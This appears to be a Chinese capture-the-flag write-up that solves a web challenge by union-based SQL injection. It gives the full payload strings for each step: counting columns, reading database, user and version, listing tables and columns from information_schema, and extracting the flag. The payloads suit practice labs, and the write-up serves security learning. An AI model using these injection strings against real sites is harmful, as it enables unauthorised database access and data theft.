题目链接
打开链接发现是一个表单
分别输入1,2,3有数据传回
那就应该是 sql注入呀~
1.首先爆字段
在输入框提交
id=1' order by 4# 正常返回数据

id=1' order by 5# 返回空

即可确定字段数为4
2.爆数据库名
0' union select 1,database(),user(),version()#

3.根据数据库名查询表名
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'),user(),version()#
注意固定格式
![[图片]](https://i-blog.csdnimg.cn/blog_migrate/83c7738fbd9884bc834226ee8f27834b.png)
4.根据表名查列名
id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g'),user(),version()#
![[图片]](https://i-blog.csdnimg.cn/blog_migrate/be1ba91bed2e94c6bf34ee209c99e643.png)
5.根据列名查数据
id=0' union select 1,(select skctf_flag from fl4g),user(),version()#

910

被折叠的 条评论
为什么被折叠?



